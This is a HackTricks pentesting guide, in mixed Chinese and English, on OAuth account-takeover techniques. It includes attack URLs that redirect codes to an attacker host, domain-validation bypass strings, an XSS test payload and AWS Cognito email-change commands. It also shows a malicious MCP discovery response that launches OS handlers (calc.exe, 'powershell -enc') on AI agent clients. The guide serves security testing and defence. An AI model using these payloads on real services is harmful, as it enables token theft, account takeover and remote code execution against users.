OAuth to Account takeover

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

OAuth offers various versions, with foundational insights accessible at OAuth 2.0 documentation. This discussion primarily centers on the widely used OAuth 2.0 authorization code grant type, providing an authorization framework that enables an application to access or perform actions on a user’s account in another application (the authorization server).

考虑一个假想网站 https://example.com，用于展示你所有的社交媒体帖子，包括私密的内容。为此使用了 OAuth 2.0。https://example.com 会请求你授权，允许其访问你的社交媒体帖子。因此，https://socialmedia.com 会显示一个同意界面，说明被请求的权限以及发起请求的开发者。在你授权后，https://example.com 将能够代表你访问你的帖子。

理解 OAuth 2.0 框架时，以下组件很重要：

  • resource owner: 你，作为被授权访问资源的主体，例如你的社交媒体账号的帖子。
  • resource server: 在应用代表 resource owner 获取了 access token 后，负责处理经过身份验证的请求的服务器，例如 https://socialmedia.com。
  • client application: 向 resource owner 请求授权的应用程序，例如 https://example.com。
  • authorization server: 在成功对 resource owner 完成身份验证并获得授权后，负责向 client application 发放 access tokens 的服务器，例如 https://socialmedia.com。
  • client_id: 应用的公开唯一标识符。
  • client_secret: 仅为应用和 authorization server 所知的机密密钥，用于生成 access_tokens。
  • response_type: 指定请求的令牌类型的值，例如 code。
  • scope: client application 向 resource owner 请求的访问级别。
  • redirect_uri: 授权后将用户重定向到的 URL。通常必须与预先注册的 redirect URL 匹配。
  • state: 用于在用户重定向到授权服务器并返回时维持数据的参数。其唯一性对于作为CSRF 保护机制至关重要。
  • grant_type: 指示授权类型以及将要返回的令牌类型的参数。
  • code: 来自 authorization server 的授权码，client application 与 client_id 和 client_secret 一起使用它来获取 access_token。
  • access_token: client application 代表 resource owner 进行 API 请求时使用的令牌。
  • refresh_token: 使应用在不重新提示用户的情况下获取新的 access_token。

Flow

实际的 OAuth 流程如下：

  1. 你访问 https://example.com 并点击 “Integrate with Social Media” 按钮。
  2. 该站点随后向 https://socialmedia.com 发送请求，请求你授权以允许 https://example.com 的应用访问你的帖子。该请求的结构如下：
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. 然后会向你显示一个同意页面。
  2. 在你批准之后，Social Media 会向 redirect_uri 发送包含 code 和 state 参数的响应：
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com 利用此 code，连同其 client_id 和 client_secret，发起服务器端请求以代表你获取 access_token，从而访问你已同意的权限：
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. 最后，流程结束于 https://example.com 使用你的 access_token 去对 Social Media 发起 API 调用以访问

漏洞

开放的 redirect_uri

根据 RFC 6749 §3.1.2，授权服务器必须只将浏览器重定向到已预先注册且精确匹配的 redirect URIs。这里的任何弱点都允许攻击者通过恶意授权 URL 将受害者导向，从而让 IdP 将受害者的 code（和 state）直接交付到攻击者的端点，攻击者随后可以兑现该 code 并窃取令牌。

典型攻击流程：

  1. 制作 https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback 并发送给受害者。
  2. 受害者进行认证并批准 scope。
  3. IdP 重定向到 attacker.tld/callback?code=<victim-code>&state=...，攻击者记录该请求并立即兑换 code。

常见的可探测验证缺陷：

  • 无验证 —— 接受任意绝对 URL，导致瞬时 code 窃取。
  • 对主机名的弱子串/正则检查 —— 可通过类似域名绕过，例如 evilmatch.com、match.com.evil.com、match.com.mx、matchAmatch.com、evil.com#match.com 或 match.com@evil.com。
  • IDN homograph mismatches —— 验证在 punycode 形式（xn--）上进行，但浏览器会重定向到由攻击者控制的 Unicode 域。
  • 允许主机上的任意路径 —— 将 redirect_uri 指向 /openredirect?next=https://attacker.tld 或任何 XSS/用户内容端点，会通过链式重定向、Referer headers，或注入的 JavaScript 泄露 code。
  • 未归一化的目录约束 —— 像 /oauth/* 这样的模式可以被 /oauth/../anything 绕过。
  • 通配子域 —— 接受 *.example.com 意味着任何 takeover（悬挂的 DNS、S3 桶等）都会立即成为有效的回调。
  • 非 HTTPS 回调 —— 允许 http:// URIs 通过，会让网络攻击者（Wi‑Fi、中间公司代理）有机会在传输中截取 code。

还要检查辅助的重定向类型参数（client_uri、policy_uri、tos_uri、initiate_login_uri 等）以及 OpenID 发现文档（/.well-known/openid-configuration），以查找可能继承相同验证缺陷的额外端点。

当 allowlisted 域存在攻击者控制的子路径时的 Redirect token leakage

将 redirect_uri 锁定到“自有/第一方域”并不能起到作用，如果任何被 allowlisted 的域暴露了攻击者控制的路径或执行上下文（旧平台、用户命名空间、CMS 上传等）。如果 OAuth/federated 登录流程在 URL 中返回 tokens（query 或 hash），攻击者可以：

  1. 启动一个合法流程以铸造一个预令牌（例如，在多步 Accounts Center/FXAuth 流程中的 etoken）。
  2. 发送给受害者一个授权 URL，将被 allowlisted 的域设置为 redirect_uri/base_uri，但将 next/路径 指向攻击者控制的命名空间（例如 https://apps.facebook.com/<attacker_app>）。
  3. 受害者批准后，IdP 会重定向到包含敏感值的攻击者控制路径的 URL（token、blob、codes 等）。
  4. 该页面上的 JavaScript 读取 window.location 并将这些值 exfiltrate，尽管该域被视为“受信任”。
  5. 将捕获到的值重放到下游的特权端点，这些端点只期望接收通过重定向携带的 tokens。来自 FXAuth 流程的示例：
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS 在 redirect 实现中

正如该漏洞赏金报告 https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html 所述，用户认证后，服务器的响应中可能会反射 redirect URL 在响应中被反射，从而易受 XSS 攻击。可用于测试的 payload：

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Improper handling of state parameter

state 参数是 Authorization Code 流程中的 CSRF 令牌：客户端必须为每个浏览器实例生成一个加密学上随机的值，将其持久化在只有该浏览器能读到的位置（cookie、本地存储等），在授权请求中发送该值，并拒绝任何未返回相同值的响应。只要该值是静态的、可预测的、可选的或未绑定到用户会话，攻击者就可以完成自己的 OAuth 流程，截获最终的 ?code= 请求（不发送它），随后诱导受害者浏览器重放该请求，从而使受害者账户被链接到攻击者的 identity provider 配置文件。

重放模式总是相同的：

  1. 攻击者使用其账号对 IdP 进行认证并截获包含 code（以及任何 state）的最后一次重定向。
  2. 他们丢弃该请求，保留 URL，随后利用任何 CSRF 原语（链接、iframe、自动提交表单）强制受害者浏览器加载该 URL。
  3. 如果客户端不强制 state，应用会消耗攻击者的授权结果，并将攻击者登录到受害者的 app 账户。

测试 state 处理时的实用检查表：

  • 缺失 state 完全不存在 – 如果参数从不出现，整个登录流程就是可 CSRF 的。
  • state 非必须 – 从初始请求中移除它；如果 IdP 仍然签发客户端会接受的 code，则该防护是可选的（opt-in）。
  • 返回的 state 未被验证 – 篡改响应中的值（使用 Burp、MITM proxy）。接受不匹配的值意味着存储的令牌从未被比较。
  • 可预测或纯数据驱动的 state – 许多应用将重定向路径或 JSON blob 塞入 state，却没有混入随机性，允许攻击者猜测有效值并重放流程。总是在编码数据之前/之后加入强熵。
  • state 固定（state fixation）– 如果应用允许用户提供 state 值（例如通过构造的授权 URL）并在整个流程中重用它，攻击者可以锁定一个已知值并在多个受害者之间重用。

PKCE 可以补充 state（尤其对 public clients），通过将 authorization code 绑定到 code verifier，但 web clients 仍然必须跟踪 state 以防止跨用户 CSRF/账号关联漏洞。

Pre Account Takeover

  1. 没有邮箱验证的账号创建：攻击者可以事先使用受害者的邮箱创建账号。如果受害者随后使用第三方服务登录，应用可能会错误地将该第三方账号关联到攻击者预先创建的账号上，从而导致未授权访问。
  2. 利用松散的 OAuth 邮箱验证：攻击者可能利用不验证邮箱的 OAuth 服务，先注册自己的账号，然后将账号邮箱改为受害者的邮箱。此方法与第一种情形类似，但通过不同的攻击路径，同样存在未授权访问的风险。

Disclosure of Secrets

client_id 本来就是公开的，但 client_secret 绝不能被终端用户恢复。在 Authorization Code 部署中若将 secret 嵌入到 mobile APK、desktop clients 或 single-page apps 中，等于把该凭证交给任何能下载包的人。检查 public clients 时应：

  • 解包 APK/IPA、桌面安装包或 Electron 应用并 grep client_secret、可以解码为 JSON 的 Base64 blob，或硬编码的 OAuth 端点。
  • 审查捆绑的配置文件（plist、JSON、XML）或反编译的字符串以查找客户端凭证。

一旦攻击者提取到 secret，只需窃取任意受害者的授权 code（通过弱 redirect_uri、日志等）即可独立调用 /token，铸造 access/refresh tokens，而不必经过合法 app。将 public/native clients 视为 无法保密的 —— 它们应改用 PKCE (RFC 7636)，通过每实例的 code verifier 证明持有权，而不是使用静态 secret。测试时，确认 PKCE 是否为强制，并确认后端是否会在缺少 client_secret 或 有效 code_verifier 时拒绝 token 交换。

Client Secret Bruteforce

你可以尝试对提供商的 client_secret 进行暴力破解，以试图窃取账户。
用于 BF 的请求可能类似于：

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web Storage – localStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

滥用其他应用的 tokens

As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.

This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.

According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.

要绕过这个 prompt，可以先打开一个标签页来启动 Oauth flow，该流程会使用 returnUrl 设置这个 RU cookie，在 prompt 弹出之前关闭该标签页，然后再打开一个没有该值的新标签页。这样，prompt 不会告知攻击者的主机，但 cookie 会被设置为该主机，因此在重定向时 token 将被发送到攻击者主机。

Prompt Interaction Bypass

As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.

response_mode

As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:

  1. Load the IdP authorization URL inside an <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
  3. Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.

在测试时，验证 IdP 页面是否发出 X-Frame-Options: DENY/SAMEORIGIN 或者限制性的 Content-Security-Policy: frame-ancestors 'none'。如果两者都没有，使用像 NCC Group’s clickjacking PoC generator 这样的工具演示风险，并记录受害者多么容易授权攻击者的应用。更多载荷思路见 Clickjacking。

OAuth ROPC flow - 2 FA bypass

According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.

ATO on web page redirecting based on open redirect to referrer

This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.

Key Points:

  • Dynamic Client Registration is often mapped to /register and accepts details like client_name, client_secret, redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
  • This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
  • The registration process can inadvertently expose servers to SSRF in several ways:
  • logo_uri: A URL for the client application’s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
  • jwks_uri: A URL to the client’s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
  • sector_identifier_uri: References a JSON array of redirect_uris, which the server might fetch, creating an SSRF opportunity.
  • request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.

Exploitation Strategy:

  • SSRF can be triggered by registering a new client with malicious URLs in parameters like logo_uri, jwks_uri, or sector_identifier_uri.
  • While direct exploitation via request_uris may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled request_uri can facilitate SSRF during the authorization phase.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.

攻击流程

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. 客户端为所提供的 URI 启动 OS handler。Windows 接受像 file:/c:/windows/system32/calc.exe /c"powershell -enc ..." 这样的 payload；macOS/Linux 接受 file:///Applications/Calculator.app/...，如果已注册甚至可以接受诸如 cmd://bash -lc '<payload>' 的自定义 scheme。
  2. 因为这发生在任何用户交互之前，仅仅将客户端配置为与攻击者服务器通信就会导致 code execution。

How to test

  • 以任何执行 HTTP(S) discovery 并在本地打开返回端点的 OAuth-capable desktop/agent 为目标（Electron apps、CLI helpers、thick clients）。
  • 截获或托管 discovery response，并将 authorization_endpoint、device_authorization_endpoint 或类似字段替换为 file://、cmd://、UNC 路径或其他危险 scheme。
  • 观察客户端是否验证 scheme/host。缺乏验证会导致在用户上下文下立即执行，从而证明问题存在。
  • 使用不同的 scheme 重复测试以映射完整的攻击面（例如 ms-excel:、data:text/html,、custom protocol handlers），并演示跨平台可达性。

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

在 OAuth 中，sub 字段用于唯一标识用户，但它的格式因 Authorization Server 而异。为了标准化用户识别，一些客户端使用 email 或 user handles。然而，这存在风险，因为：

  • 某些 Authorization Servers 不保证这些属性（例如 email）保持不可变。
  • 在某些实现中——例如 “Login with Microsoft”——客户端依赖 email 字段，而该字段在 Entra ID 中是由用户控制且未被验证的。
  • 攻击者可以通过创建自己的 Azure AD 组织（例如 doyensectestorg）并使用它进行 Microsoft login 来利用此点。
  • 虽然 Object ID（存储在 sub 中）是不可变且安全的，但对可变 email 字段的依赖可能导致 account takeover（例如，劫持像 victim@gmail.com 这样的账户）。

Client Confusion Attack

在 Client Confusion Attack 中，使用 OAuth Implicit Flow 的应用未能验证最终的 access token 是否专门为其自己的 Client ID 生成。攻击者搭建一个使用 Google’s OAuth Implicit Flow 的 public website，诱使成千上万用户登录，从而收集原本应属于攻击者网站的 access tokens。如果这些用户在另一个不验证 token 的 Client ID 的易受攻击网站上也有账户，攻击者可以重用收集到的 tokens 来冒充受害者并接管他们的账户。

Scope Upgrade Attack

Authorization Code Grant 类型涉及用于传输用户数据的安全的 server-to-server 通信。然而，如果 Authorization Server 在 Access Token Request 中隐式信任 scope 参数（该参数并未在 RFC 中定义），恶意应用可能通过请求更高的 scope 来升级 authorization code 的权限。生成 Access Token 后，Resource Server 必须对其进行验证：对于 JWT tokens，这包括检查 JWT signature 并提取如 client_id 和 scope 等数据；对于随机字符串 token，服务器必须查询 Authorization Server 以检索该 token 的详细信息。

Redirect Scheme Hijacking

在移动端的 OAuth 实现中，应用使用 custom URI schemes 来接收带有 Authorization Codes 的重定向。然而，由于设备上多个应用可以注册相同的 scheme，只有合法客户端控制重定向 URI 的假设被破坏。例如在 Android 上，像 com.example.app:// 这样的 Intent URI 是基于 scheme 以及应用 intent-filter 中定义的可选过滤器来捕获的。由于 Android 的 intent 解析可能很宽泛——尤其是在仅指定 scheme 的情况下——攻击者可以注册一个具有精心构造的 intent filter 的恶意应用来劫持 authorization code。这可以通过用户交互（当多个应用有资格处理该 intent 时）或通过利用过于具体/不当配置的过滤器的绕过技术来实现 account takeover，详见 Ostorlab 的评估流程图。

References

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks